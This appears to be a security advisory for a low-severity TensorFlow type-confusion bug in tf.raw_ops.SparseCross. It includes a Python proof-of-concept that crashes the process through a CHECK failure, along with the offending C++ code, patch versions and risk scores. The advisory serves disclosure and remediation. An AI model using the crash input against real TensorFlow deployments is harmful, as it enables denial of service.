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GHSA-772j-h9xw-ffp5

LowCVSS 2.5 / 10
Published May 21, 2021·Last modified Mar 13, 2026
Affected Components(0)

No affected components available

Description

Impact

The API of tf.raw_ops.SparseCross allows combinations which would result in a CHECK-failure and denial of service:

import tensorflow as tf

hashed_output = False
num_buckets = 1949315406
hash_key = 1869835877
out_type = tf.string 
internal_type = tf.string

indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)
indices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)
indices = [indices_1, indices_2]

values_1 = tf.constant([0], dtype=tf.int64)
values_2 = tf.constant([72], dtype=tf.int64)
values = [values_1, values_2]

batch_size = 4
shape_1 = tf.constant([4, 122], dtype=tf.int64)
shape_2 = tf.constant([4, 188], dtype=tf.int64)
shapes = [shape_1, shape_2]

dense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)
dense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)
dense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)
denses = [dense_1, dense_2, dense_3]

tf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,
                       num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)

The above code will result in a CHECK fail in tensor.cc:

void Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {
  CHECK_EQ(dtype(), expected_dtype)
      << " " << DataTypeString(expected_dtype) << " expected, got "
      << DataTypeString(dtype());
  ...
}

This is because the implementation is tricked to consider a tensor of type tstring which in fact contains integral elements:

  if (DT_STRING == values_.dtype())
      return Fingerprint64(values_.vec<tstring>().data()[start + n]);
  return values_.vec<int64>().data()[start + n];

Fixing the type confusion by preventing mixing DT_STRING and DT_INT64 types solves this issue.

Patches

We have patched the issue in GitHub commit b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Risk Scores
Base Score
2.5

The vulnerability requires local access to the device to be exploited. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the availability of the system.

Threat Intelligence
2.3

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
0.19%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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